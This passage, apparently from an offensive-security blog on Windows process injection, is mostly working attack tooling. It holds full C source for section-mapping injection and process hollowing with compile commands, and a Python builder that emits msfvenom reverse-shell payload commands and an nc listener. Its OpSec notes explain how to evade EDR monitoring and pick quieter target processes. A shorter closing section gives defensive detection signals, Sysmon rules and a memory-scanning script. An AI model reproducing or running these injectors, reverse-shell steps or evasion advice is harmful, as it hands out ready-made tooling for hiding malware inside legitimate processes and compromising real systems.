42#define SEC_COMMIT 0x08000000
43#define PAGE_EXECUTE_READ 0x20
44#define PAGE_READWRITE 0x04
45#define ViewShare 1
46
47int main(int argc, char *argv[]) {
48 if (argc < 3) {
49 fprintf(stderr, "usage: %s <pid> <shellcode.bin>\n", argv[0]);
50 return 1;
51 }
52
53 DWORD pid = (DWORD)atoi(argv[1]);
54
55 FILE *f = fopen(argv[2], "rb");
56 if (!f) { perror("fopen"); return 1; }
57 fseek(f, 0, SEEK_END);
58 size_t sc_len = (size_t)ftell(f);
59 rewind(f);
60 uint8_t *sc = (uint8_t*)malloc(sc_len);
61 fread(sc, 1, sc_len, f);
62 fclose(f);
63
64 /* load NT functions */
65 HMODULE ntdll = GetModuleHandleA("ntdll.dll");
66 #define LOAD(fn) p##fn fn = (p##fn)GetProcAddress(ntdll, #fn)
67 LOAD(NtCreateSection);
68 LOAD(NtMapViewOfSection);
69 LOAD(NtUnmapViewOfSection);
70 LOAD(RtlCreateUserThread);
71 #undef LOAD
72
73 /* open target */
74 HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
75 if (!hProc) {
76 fprintf(stderr, "[-] OpenProcess: %lu\n", GetLastError());
77 free(sc);
78 return 1;
79 }
80
81 /* create shared section — RWX so we can write then remote-exec */
82 HANDLE hSection = NULL;
83 LARGE_INTEGER sz = { .QuadPart = (LONGLONG)sc_len };
84 NTSTATUS ns = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &sz,
85 PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
86 if (ns) {
87 fprintf(stderr, "[-] NtCreateSection: 0x%08lx\n", ns);
88 CloseHandle(hProc);
89 free(sc);
90 return 1;
91 }
92
93 /* map into local process for writing */
94 PVOID pLocal = NULL;
95 SIZE_T viewLocal = 0;
96 NtMapViewOfSection(hSection, GetCurrentProcess(),
97 &pLocal, 0, 0, NULL, &viewLocal,
98 ViewShare, 0, PAGE_READWRITE);
99
100 /* map into remote process for execution */
101 PVOID pRemote = NULL;
102 SIZE_T viewRemote = 0;
103 NtMapViewOfSection(hSection, hProc,
104 &pRemote, 0, 0, NULL, &viewRemote,
105 ViewShare, 0, PAGE_EXECUTE_READ);
106
107 printf("[*] local map : %p\n", pLocal);
108 printf("[*] remote map : %p\n", pRemote);
109
110 /* write shellcode through local mapping — target sees it immediately */
111 memcpy(pLocal, sc, sc_len);
112 SecureZeroMemory(sc, sc_len);
113 free(sc);
114 printf("[*] shellcode written via shared section\n");
115
116 /* unmap local view — shellcode still lives in target */
117 NtUnmapViewOfSection(GetCurrentProcess(), pLocal);
118
119 /* create thread in target via RtlCreateUserThread */
120 HANDLE hThread = NULL;
121 ns = RtlCreateUserThread(hProc, NULL, FALSE, 0, 0, 0,
122 pRemote, NULL, &hThread, NULL);
123 if (ns) {
124 fprintf(stderr, "[-] RtlCreateUserThread: 0x%08lx\n", ns);
125 CloseHandle(hSection);
126 CloseHandle(hProc);
127 return 1;
128 }
129
130 printf("[+] thread %p — no WriteProcessMemory used\n", hThread);
131 WaitForSingleObject(hThread, 8000);
132
133 CloseHandle(hThread);
134 CloseHandle(hSection);
135 CloseHandle(hProc);
136 return 0;
137}Technique 7 — Process Hollowing
The crown jewel of process injection. Spawn a legitimate process suspended, hollow out its image, unmapping the original executable from memory, write your PE payload in its place, redirect the entry point, and resume. From the outside, it looks like notepad.exe is running. Inside, your payload owns the entire process.
1/* hollow.c
2 * Process hollowing (RunPE).
3 * Spawns target suspended, replaces its image with raw PE payload.
4 *
5 * Compile:
6 * x86_64-w64-mingw32-gcc -o hollow.exe hollow.c \
7 * -s -mwindows -Wl,--build-id=none
8 */
9
10#define WIN32_LEAN_AND_MEAN
11#include <windows.h>
12#include <winternl.h>
13#include <stdio.h>
14#include <stdlib.h>
15#include <stdint.h>
16
17typedef NTSTATUS (NTAPI *pNtUnmapViewOfSection)(HANDLE, PVOID);
18
19/* parse PE headers — returns ImageBase, SizeOfImage, AddressOfEntryPoint */
20typedef struct {
21 uint64_t image_base;
22 uint32_t image_size;
23 uint32_t entry_rva;
24 uint16_t num_sections;
25 uint64_t pe_offset;
26} PEInfo;
27
28static int parse_pe(const uint8_t *buf, size_t len, PEInfo *out) {
29 if (len < 64 || *(uint16_t*)buf != 0x5A4D) return 0; /* MZ */
30 uint32_t pe_off = *(uint32_t*)(buf + 0x3C);
31 if (pe_off + 4 >= len) return 0;
32 if (*(uint32_t*)(buf + pe_off) != 0x00004550) return 0; /* PE\0\0 */
33
34 /* optional header */
35 uint16_t magic = *(uint16_t*)(buf + pe_off + 24);
36 if (magic != 0x020B) { /* PE32+ (x64) only */
37 fprintf(stderr, "[-] only PE32+ (x64) supported\n");
38 return 0;
39 }
40
41 out->pe_offset = pe_off;
42 out->entry_rva = *(uint32_t*)(buf + pe_off + 40);
43 out->image_base = *(uint64_t*)(buf + pe_off + 48);
44 out->image_size = *(uint32_t*)(buf + pe_off + 80);
45 out->num_sections= *(uint16_t*)(buf + pe_off + 6);
46 return 1;
47}
48
49int main(int argc, char *argv[]) {
50 if (argc < 3) {
51 fprintf(stderr,
52 "usage: %s <host.exe> <payload.exe>\n"
53 " host : suspended process to hollow (e.g. notepad.exe)\n"
54 " payload: PE to inject (must be x64 executable)\n",
55 argv[0]);
56 return 1;
57 }
58
59 char *host_path = argv[1];
60
61 /* load payload PE */
62 FILE *f = fopen(argv[2], "rb");
63 if (!f) { perror("fopen payload"); return 1; }
64 fseek(f, 0, SEEK_END);
65 size_t pe_len = (size_t)ftell(f);
66 rewind(f);
67 uint8_t *pe_buf = (uint8_t*)malloc(pe_len);
68 fread(pe_buf, 1, pe_len, f);
69 fclose(f);
70
71 PEInfo pe = {0};
72 if (!parse_pe(pe_buf, pe_len, &pe)) {
73 fprintf(stderr, "[-] invalid PE\n");
74 free(pe_buf);
75 return 1;
76 }
77
78 printf("[*] payload image base : 0x%016llx\n", pe.image_base);
79 printf("[*] payload image size : 0x%08x\n", pe.image_size);
80 printf("[*] payload entry RVA : 0x%08x\n", pe.entry_rva);
81
82 /* spawn host suspended */
83 STARTUPINFOA si = { .cb = sizeof(si) };
84 PROCESS_INFORMATION pi = {0};
85
86 if (!CreateProcessA(NULL, host_path, NULL, NULL, FALSE,
87 CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
88 fprintf(stderr, "[-] CreateProcess(%s): %lu\n", host_path, GetLastError());
89 free(pe_buf);
90 return 1;
91 }
92 printf("[+] spawned %s PID %lu TID %lu\n",
93 host_path, pi.dwProcessId, pi.dwThreadId);
94
95 /* get PEB base address from remote process */
96 PROCESS_BASIC_INFORMATION pbi = {0};
97 typedef NTSTATUS(NTAPI *pNtQIP)(HANDLE,PROCESSINFOCLASS,PVOID,ULONG,PULONG);
98 pNtQIP NtQIP = (pNtQIP)GetProcAddress(
99 GetModuleHandleA("ntdll"), "NtQueryInformationProcess");
100 NtQIP(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
101
102 /* read image base from PEB */
103 uint64_t peb_addr = (uint64_t)pbi.PebBaseAddress;
104 uint64_t host_base = 0;
105 SIZE_T rd = 0;
106 ReadProcessMemory(pi.hProcess,
107 (LPCVOID)(peb_addr + 0x10), /* PEB.ImageBaseAddress */
108 &host_base, sizeof(host_base), &rd);
109 printf("[*] host image base : 0x%016llx\n", host_base);
110
111 /* hollow — unmap the original image */
112 pNtUnmapViewOfSection NtUVOS = (pNtUnmapViewOfSection)GetProcAddress(
113 GetModuleHandleA("ntdll"), "NtUnmapViewOfSection");
114 NtUVOS(pi.hProcess, (PVOID)host_base);
115 printf("[*] host image unmapped\n");
116
117 /* allocate space for payload at its preferred base */
118 LPVOID alloc_base = VirtualAllocEx(
119 pi.hProcess, (LPVOID)pe.image_base, pe.image_size,
120 MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
121
122 if (!alloc_base) {
123 /* preferred base taken — let OS pick */
124 alloc_base = VirtualAllocEx(
125 pi.hProcess, NULL, pe.image_size,
126 MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
127 printf("[*] rebasing to : %p\n", alloc_base);
128 }
129 printf("[*] alloc at : %p\n", alloc_base);
130
131 /* write PE headers */
132 uint32_t hdr_size = *(uint32_t*)(pe_buf + pe.pe_offset + 84); /* SizeOfHeaders */
133 WriteProcessMemory(pi.hProcess, alloc_base, pe_buf, hdr_size, NULL);
134
135 /* write sections */
136 IMAGE_SECTION_HEADER *sections = (IMAGE_SECTION_HEADER*)(
137 pe_buf + pe.pe_offset + 24 +
138 *(uint16_t*)(pe_buf + pe.pe_offset + 20) /* SizeOfOptionalHeader */
139 );
140
141 for (int i = 0; i < pe.num_sections; i++) {
142 if (sections[i].SizeOfRawData == 0) continue;
143 PVOID dst = (PVOID)((uint64_t)alloc_base + sections[i].VirtualAddress);
144 WriteProcessMemory(pi.hProcess, dst,
145 pe_buf + sections[i].PointerToRawData,
146 sections[i].SizeOfRawData, NULL);
147 printf("[*] section %-8.8s @ %p\n", sections[i].Name, dst);
148 }
149
150 /* update PEB.ImageBaseAddress to point to our payload */
151 uint64_t new_base = (uint64_t)alloc_base;
152 WriteProcessMemory(pi.hProcess,
153 (LPVOID)(peb_addr + 0x10),
154 &new_base, sizeof(new_base), NULL);
155
156 /* redirect main thread entry point to payload EP */
157 CONTEXT ctx;
158 ctx.ContextFlags = CONTEXT_FULL;
159 GetThreadContext(pi.hThread, &ctx);
160 ctx.Rcx = new_base + pe.entry_rva; /* Rcx = entry point on x64 */
161 SetThreadContext(pi.hThread, &ctx);
162
163 printf("[+] entry point → 0x%016llx\n", ctx.Rcx);
164
165 SecureZeroMemory(pe_buf, pe_len);
166 free(pe_buf);
167
168 /* resume — payload runs as notepad.exe */
169 ResumeThread(pi.hThread);
170 printf("[+] resumed — payload executing as %s\n", host_path);
171
172 CloseHandle(pi.hThread);
173 CloseHandle(pi.hProcess);
174 return 0;
175}# compile
x86_64-w64-mingw32-gcc -o hollow.exe hollow.c -s -mwindows -Wl,--build-id=none
# hollow notepad with your reverse shell PE
./hollow.exe "C:\Windows\System32\notepad.exe" payload.exePython — Injection Payload Builder
Chains shellcode generation, encryption, and injection command output into one tool.
1#!/usr/bin/env python3
2# injection_builder.py
3# Generates encrypted shellcode and matching injection command strings
4# for each technique covered in this blog.
5#
6# Requires: pip install keystone-engine
7#
8# Usage:
9# python3 injection_builder.py --lhost 10.10.10.10 --lport 4444 --pid 1234
10# python3 injection_builder.py --lhost 10.10.10.10 --lport 4444 --pid 1234 \
11# --technique earlybird --key 0x42
12
13import argparse
14import os
15import struct
16import random
17
18try:
19 import keystone
20 HAS_KS = True
21except ImportError:
22 HAS_KS = False
23
24
25def rolling_xor(data: bytes, key: int) -> bytes:
26 return bytes(b ^ ((key + i) & 0xff) for i, b in enumerate(data))
27
28
29def make_shellcode_x64(lhost: str, lport: int) -> bytes:
30 """
31 Generate a minimal x64 reverse TCP shellcode using keystone assembler.
32 For production use msfvenom or custom shellcode — this is illustrative.
33 """
34 if not HAS_KS:
35 # fallback: msfvenom instruction
36 print("[!] keystone not installed — use msfvenom to generate shellcode:")
37 print(f" msfvenom -p windows/x64/shell_reverse_tcp "
38 f"LHOST={lhost} LPORT={lport} -f raw -o shellcode.bin")
39 return b''
40
41 # pack IP as dword (little-endian)
42 ip_bytes = bytes(int(x) for x in lhost.split('.'))
43 ip_dword = struct.unpack('<I', ip_bytes)[0]
44 port_word = struct.pack('>H', lport) # big-endian for socket
45
46 # minimal WinSock reverse shell stub (illustrative, not production-grade)
47 # In real engagements: use msfvenom, Donut, or custom shellcode
48 asm = f"""
49 sub rsp, 0x28
50 and rsp, 0xFFFFFFFFFFFFFFF0
51
52 ; === WSAStartup ===
53 xor rcx, rcx
54 mov cx, 0x0202
55 lea rdx, [rsp+0x10]
56 ; ... (full shellcode assembly omitted for brevity — use msfvenom output)
57 """
58
59 print("[!] keystone stub is illustrative — use msfvenom for real shellcode:")
60 print(f" msfvenom -p windows/x64/shell_reverse_tcp "
61 f"LHOST={lhost} LPORT={lport} -f raw -o shellcode.bin")
62 return b''
63
64
65def generate_commands(technique: str, pid: int, sc_path: str,
66 key: int, host_exe: str) -> list:
67 """Generate injection command strings for the chosen technique."""
68 hex_key = f"{key:02x}"
69
70 commands = {
71 'classic': [
72 f"# Classic shellcode injection",
73 f"./classic_inject.exe {pid} {sc_path}",
74 ],
75 'rwrx': [
76 f"# RW→RX two-stage injection (no RWX)",
77 f"./rwrx_inject.exe {pid} {sc_path} {hex_key}",
78 ],
79 'apc': [
80 f"# APC injection (all threads)",
81 f"./apc_inject.exe {pid} {sc_path}",
82 f"# Note: fires when any thread enters alertable wait",
83 ],
84 'earlybird': [
85 f"# Early Bird APC injection",
86 f'./earlybird.exe {sc_path} {hex_key} "{host_exe}"',
87 f"# Spawns new {os.path.basename(host_exe)} — PID will differ from {pid}",
88 ],
89 'hijack': [
90 f"# Thread context hijacking",
91 f"./thread_hijack.exe {pid} {sc_path}",
92 ],
93 'section': [
94 f"# NtMapViewOfSection injection (no WriteProcessMemory)",
95 f"./section_inject.exe {pid} {sc_path}",
96 ],
97 'hollow': [
98 f"# Process hollowing (needs full PE payload, not raw shellcode)",
99 f'./hollow.exe "{host_exe}" payload.exe',
100 ],
101 }
102 return commands.get(technique, [f"unknown technique: {technique}"])
103
104
105def main():
106 p = argparse.ArgumentParser(description="Injection payload builder")
107 p.add_argument('--lhost', required=True)
108 p.add_argument('--lport', default=4444, type=int)
109 p.add_argument('--pid', default=0, type=int,
110 help="target PID (from Find-InjectableProcesses.ps1)")
111 p.add_argument('--technique',
112 choices=['classic','rwrx','apc','earlybird',
113 'hijack','section','hollow','all'],
114 default='all')
115 p.add_argument('--key', default=None,
116 help="XOR key hex (e.g. 0x42) — random if omitted")
117 p.add_argument('--host-exe',
118 default=r'C:\Windows\System32\notepad.exe')
119 p.add_argument('--out', default='shellcode.bin')
120 args = p.parse_args()
121
122 key = int(args.key, 16) if args.key else random.randint(1, 254)
123 print(f"[*] XOR key : 0x{key:02x}")
124 print(f"[*] target : {args.lhost}:{args.lport}")
125 print(f"[*] inject PID : {args.pid}")
126 print(f"[*] host exe : {args.host_exe}")
127 print()
128
129 # shellcode gen instruction
130 print("[*] generate shellcode:")
131 print(f" msfvenom -p windows/x64/shell_reverse_tcp "
132 f"LHOST={args.lhost} LPORT={args.lport} -f raw -o raw.bin")
133 print(f" python3 encrypt_sc.py -i raw.bin -k 0x{key:02x} -o {args.out} --verify")
134 print()
135
136 # command output
137 techniques = (['classic','rwrx','apc','earlybird','hijack','section','hollow']
138 if args.technique == 'all' else [args.technique])
139
140 for t in techniques:
141 cmds = generate_commands(t, args.pid, args.out, key, args.host_exe)
142 print('─' * 60)
143 for c in cmds:
144 print(c)
145 print('─' * 60)
146 print(f"\n[*] listener: rlwrap nc -lvnp {args.lport}")
147
148
149if __name__ == '__main__':
150 main()# generate all injection commands
python3 injection_builder.py --lhost 10.10.10.10 --lport 4444 --pid 1234
# specific technique with key
python3 injection_builder.py \
--lhost 10.10.10.10 --lport 4444 --pid 1234 \
--technique earlybird --key 0x42Technique Comparison
| technique | new thread | API noise | RWX needed | process survives | stealth |
|---|---|---|---|---|---|
| Classic CRT | yes | high | yes (typical) | yes | low |
| RW→RX CRT | yes | medium | no | yes | medium |
| APC | no | medium | no | yes | medium |
| Early Bird | no | medium | no | yes | high |
| Thread Hijack | no | low | no | yes | high |
| NtMapViewOfSection | optional | low | no | yes | high |
| Process Hollow | new process | medium | yes | payload replaces host | very high |
OpSec Notes
CreateRemoteThreadis one of the most-monitored APIs on the planet. Every major EDR generates an alert on it. Prefer APC, thread hijacking, or section-based injection for production engagements.- Target process selection matters enormously. Injecting into
lsass.exewill trigger immediate Credential Guard and EDR alerts even if the injection itself is silent.explorer.exeandRuntimeBroker.exeare quieter targets with rich thread pools for APC delivery. - Architecture must match. A 64-bit shellcode in a 32-bit process crashes. A 32-bit injector cannot open a 64-bit process with
PROCESS_ALL_ACCESSwithout WoW64 tricks. Always match bitness. PROCESS_ALL_ACCESSis noisy — it’s0x1F0FFFand shows up bright in Sysmon EID 10. Request only the access rights you need:PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREADfor classic injection.- Early Bird is the quietest CRT-equivalent because the APC fires during loader initialization before most AV hooks install themselves into the new process.
- Process Hollowing is detected by memory integrity scanners that compare the on-disk PE with the in-memory image. Mixing in relocations and base rebasing helps, but modern EDRs have seen it all.
Detection (Blue Team)
| signal | event |
|---|---|
OpenProcess with high access on unrelated process | Sysmon EID 10 — ProcessAccess |
CreateRemoteThread across process boundary | Sysmon EID 8 — CreateRemoteThread |
| Non-image RWX memory region in process | EDR memory scan / Volatility |
NtMapViewOfSection creating shared executable region | ETW — kernel provider |
SetThreadContext changing RIP to non-image address | ETW — thread provider |
QueueUserAPC to alertable thread in another process | ETW / API hooking |
| PE in memory doesn’t match on-disk image | Memory forensics — pe-sieve, Moneta |
| Unsigned DLL/PE loaded by signed process | Sysmon EID 7 — ImageLoad |
Sysmon detection rules:
1<!-- cross-process access with high rights -->
2<ProcessAccess onmatch="include">
3 <GrantedAccess condition="contains">0x1F0FFF</GrantedAccess>
4 <GrantedAccess condition="contains">0x1FFFFF</GrantedAccess>
5 <GrantedAccess condition="contains">0x40</GrantedAccess>
6</ProcessAccess>
7
8<!-- CreateRemoteThread from unexpected source -->
9<CreateRemoteThread onmatch="include">
10 <SourceImage condition="is not">C:\Windows\System32\csrss.exe</SourceImage>
11 <SourceImage condition="is not">C:\Windows\System32\wininit.exe</SourceImage>
12</CreateRemoteThread>
13
14<!-- thread context manipulation -->
15<ProcessAccess onmatch="include">
16 <GrantedAccess condition="contains">0x0400</GrantedAccess>
17</ProcessAccess>Live memory scanner — hunt for injected shellcode:
1# Hunt-InjectedMemory.ps1
2# Finds non-image RWX/RX memory regions in running processes
3# Indicator of injected shellcode or hollowed processes
4
5param([int[]]$PIDs)
6
7Add-Type @"
8using System;
9using System.Runtime.InteropServices;
10public class MemScan {
11 [DllImport("kernel32")] public static extern IntPtr OpenProcess(uint a, bool b, int pid);
12 [DllImport("kernel32")] public static extern bool CloseHandle(IntPtr h);
13 [DllImport("kernel32")] public static extern int VirtualQueryEx(
14 IntPtr hProcess, IntPtr lpAddress,
15 out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength);
16 [StructLayout(LayoutKind.Sequential)] public struct MEMORY_BASIC_INFORMATION {
17 public IntPtr BaseAddress, AllocationBase;
18 public uint AllocationProtect, __alignment1;
19 public IntPtr RegionSize;
20 public uint State, Protect, Type, __alignment2;
21 }
22 public const uint MEM_IMAGE = 0x1000000;
23 public const uint MEM_COMMIT = 0x1000;
24 public const uint PAGE_EXECUTE_READ = 0x20;
25 public const uint PAGE_EXECUTE_READWRITE = 0x40;
26 public const uint PAGE_EXECUTE_WRITECOPY = 0x80;
27}
28"@
29
30$targets = if ($PIDs) { Get-Process -Id $PIDs } else { Get-Process }
31
32foreach ($proc in $targets) {
33 $hProc = [MemScan]::OpenProcess(0x0410, $false, $proc.Id)
34 if ($hProc -eq [IntPtr]::Zero) { continue }
35
36 $addr = [IntPtr]::Zero
37 $mbi = New-Object MemScan+MEMORY_BASIC_INFORMATION
38 $sz = [Runtime.InteropServices.Marshal]::SizeOf($mbi)
39
40 while ([MemScan]::VirtualQueryEx($hProc, $addr, [ref]$mbi, $sz) -gt 0) {
41 $exec = $mbi.Protect -band (0x20 -bor 0x40 -bor 0x80)
42 $notImage = $mbi.Type -ne [MemScan]::MEM_IMAGE
43 $committed = $mbi.State -eq [MemScan]::MEM_COMMIT
44
45 if ($exec -and $notImage -and $committed) {
46 Write-Host "[!] $($proc.Name) PID $($proc.Id) — " `
47 "non-image executable region @ $($mbi.BaseAddress.ToString('X16')) " `
48 "size $($mbi.RegionSize) prot 0x$($mbi.Protect.ToString('X'))" `
49 -ForegroundColor Red
50 }
51
52 try {
53 $next = [IntPtr]($addr.ToInt64() + $mbi.RegionSize.ToInt64())
54 $addr = $next
55 } catch { break }
56 }
57 [MemScan]::CloseHandle($hProc) | Out-Null
58}# scan all processes
.\Hunt-InjectedMemory.ps1
# scan specific PIDs
.\Hunt-InjectedMemory.ps1 -PIDs 1234, 5678MITRE ATT&CK
| technique | ID | description |
|---|---|---|
| Process Injection | T1055 | Parent — all injection techniques |
| DLL Injection | T1055.001 | LoadLibrary-based injection |
| Portable Executable Injection | T1055.002 | PE written to remote memory |
| Asynchronous Procedure Call | T1055.004 | APC + Early Bird |
| Thread Execution Hijacking | T1055.003 | Thread context hijack |
| Process Hollowing | T1055.012 | RunPE / image replacement |
| Defense Evasion | TA0005 | Primary tactic |
| Privilege Escalation | TA0004 | When injecting into higher-priv process |
References
- MITRE ATT&CK T1055 — Process Injection
- MITRE ATT&CK T1055.012 — Process Hollowing
- MITRE ATT&CK T1055.004 — APC Injection
- Amit Klein + Itzik Kotler — Early Bird APC research
- hasherezade — pe-sieve (memory scanner)
- Moneta — live memory anomaly detection
- maldev-for-dummies — injection reference
- Process Hacker — open source
- LOLBAS Project
- Stephen Fewer — Reflective DLL Injection original research